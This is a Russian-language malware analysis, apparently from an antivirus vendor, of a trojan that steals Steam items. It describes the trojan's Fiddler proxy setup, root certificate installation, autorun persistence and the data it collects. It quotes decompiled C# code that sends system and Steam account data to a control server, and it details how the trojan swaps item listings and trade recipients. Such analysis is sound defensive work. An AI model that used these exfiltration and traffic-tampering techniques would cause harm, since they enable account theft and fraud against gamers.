SHA1
- 2891c6502586de470cad2108c4367ef23b375ff7
- 3de7719afc981ee96b97300a4cd18b9365c771bf
Троянец для кражи игровых предметов у пользователей Steam. Использует утилиту Fiddler для перехвата ответов сервера и подмены данных в них. Fiddler устанавливается в качестве прокси на зараженном компьютере. Порт, который он будет использовать, указывается в конфигурации троянца (в исследованных образцах это порт 8333). Также Fiddler устанавливает в системе корневой сертификат, что позволяет ему перехватывать зашифрованный https-трафик.
С использованием системного реестра Windows определяет путь до директории Steam, языковые настройки операционной системы и имя пользователя из поля AutoLoginUser. В папке Steam троянец проверяет наличие файла \config\loginusers.vdf: если файл присутствует, вредоносная программа выполняет его синтаксический разбор и извлекает из него пары вида «имя учетной записи <=> steamid64».
Собранную информацию троянец отсылает на управляющий сервер (эти данные собираются с интервалом в 30 минут):
NameValueCollection nameValueCollection = new NameValueCollection();
nameValueCollection.Add("type", "s");
nameValueCollection.Add("keyAccess", "809af20434864b142664613a8e42ff78");
nameValueCollection.Add("systemOS", value);
nameValueCollection.Add("systemUser", userName);
nameValueCollection.Add("systemMachine", machineName);
nameValueCollection.Add("languageOS", englishName);
nameValueCollection.Add("steamids", value2);
nameValueCollection.Add("steamPath", Class0.string_4);
nameValueCollection.Add("steamLang", Class0.string_6);
nameValueCollection.Add("steamRememberL", Class0.string_5);
nameValueCollection.Add("online", online.ToString());
Class0.POSTWithFakerHeader(Class0.soft2_req, nameValueCollection);
Сохраняет в собственную папку следующие файлы:
- Windows Host.exe – тело троянца;
- settings.conf – конфигурация Fiddler;
- FiddlerCore.dll – библиотека Fiddler с действительной цифровой подписью;
- BCMakeCert.dll – библиотека с открытым исходным кодом BouncyCastle.Crypto;
- CertMaker.dll – плагин ICertificateProvider для FiddlerCore.
Модифицирует ветвь системного реестра [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] для обеспечения собственной автозагрузки. В ресурсах троянца имеется еще один исполняемый файл — Proxy.Resources.Cleaner.exe. Он используется для запуска и последующего выключения Fiddler.
Устанавливает свой обработчик для функции OnBeforeResponse библиотеки Fiddler, которая позволяет изменять отклики сервера на сетевые запросы. Обработчик игнорирует запросы, в URL которых присутствуют значения ".bmp", ".jpg", ".jpeg", ".js", ".png", ".ico", ".svg", ".pdf" и "localhost". Если в конфигурации вредоносной программы установлен специальный флаг, и пользователь заходит на один из следующих сайтов: opskins.com, igxe.cn, bitskins.com, g2a.com, csgo.tm, market.csgo.com, market.dota2.net, tf2.tm, в код веб-страниц внедряется загруженный с управляющего сервера вредоносный сценарий. Он подменяет получателя игровых предметов при совершении обменных сделок на указанных сайтах.
Если в конфигурации троянца установлен соответствующий флаг, и пользователь зараженного компьютера заходит на сайт steamcommunity.com, троянец отсылает на управляющий сервер POST-запрос следующего вида:
https://f****.pro/soft2/base.php?l=bG9ta2F0b3A%3D&k=809af20434864b142664613a8e42ff78&ek=cba2c8e810c06a917f95f6f424fbffa0
В запросе передаются данные {"type": "r", "keyAccess": "809af20434864b142664613a8e42ff78"}, при этом также в HTTP-запрос добавляется параметр "faker": "gl". В полученном ответе символы '\xD1\x96' меняются на 'i', '\xD1\x81' на 'c' и '(' на '=', после чего он декодируется с использованием base64. Расшифрованные данные представляют собой конфигурацию троянца, которая содержит steamid пользователя, в инвентаре которого нужно осуществлять подмену, а также параметры предметов для подмены.
Если в HTTP-запросе в качестве типа контента указан HTML, URL содержит значения "steamcommunity.com", "/tradeoffer", и при этом соединение осуществляется по протоколу HTTP, троянец подменяет ответ сервера на ошибку с кодом 302 и переключает соединение на использование HTTPS.
Если в HTTP-запросе в качестве типа контента указан JSON, и URL содержит значения "steamcommunity.com/profiles/7656", "/inventory/json/" или "steamcommunity.com/tradeoffer", "partnerinventory" , "partner=", "appid=", извлекает steamid партнера и проверяет, если ли для такого steamid параметры в данных, поступивших от сервера. Если нет, ничего не делает.
Затем троянец извлекает из URL значение steamid64 партнера по сделке и проверяет, имеются ли для такого steamid64 параметры в полученных от управляющего сервера данных. Читает параметр «Cookie» HTTP-заголовка и проверяет установленный там язык в параметре "Steam_Language". Если в качестве "Steam_Language" указан русский язык, троянец будет показывать сообщения на русском, в остальных случаях — на английском языке.
Для игровых предметов, у которых совпали значения jobject2["rgDescriptions"][jproperty.Name]["market_hash_name"] с указанными в ключе для данных от сервера, переданных для этого steamid, подменяются поля "market_hash_name", "market_name", "name", "name_color", "icon_url", "icon_url_large", "description"->"value" в rgDescription. Вместо них помещаются данные, поступившие с управляющего сервера. Поле "classid" не подменяется.
Если в HTTP-запросе в качестве типа контента указан JSON, и URL содержит значения "steamcommunity.com/inventory/", троянец извлекает из URL значение steamid64 и проверяет, имеются ли для такого steamid64 параметры в полученных от управляющего сервера данных. Читает параметр «Cookie» HTTP-заголовка и проверяет установленный там язык в параметре "Steam_Language". Если в качестве "Steam_Language" указан русский язык, троянец будет показывать сообщения на русском, в остальных случаях — на английском языке. Затем для игровых предметов, у которых совпали значения jobject2["rgDescriptions"][jproperty.Name]["market_hash_name"] с указанными в поле "name" в полученных от управляющего сервера данных steamid, подменяются поля на значения, поступившие с управляющего сервера.
Если в HTTP-запросе в качестве типа контента указан HTML, и URL содержит значения "steamcommunity.com/economy/itemclasshover/" и "content_only=1", троянец выполняет синтаксический разбор страницы и определяет steamid. Затем он пытается подменить характеристики игровых предметов в соответствии с данными, полученными от управляющего сервера.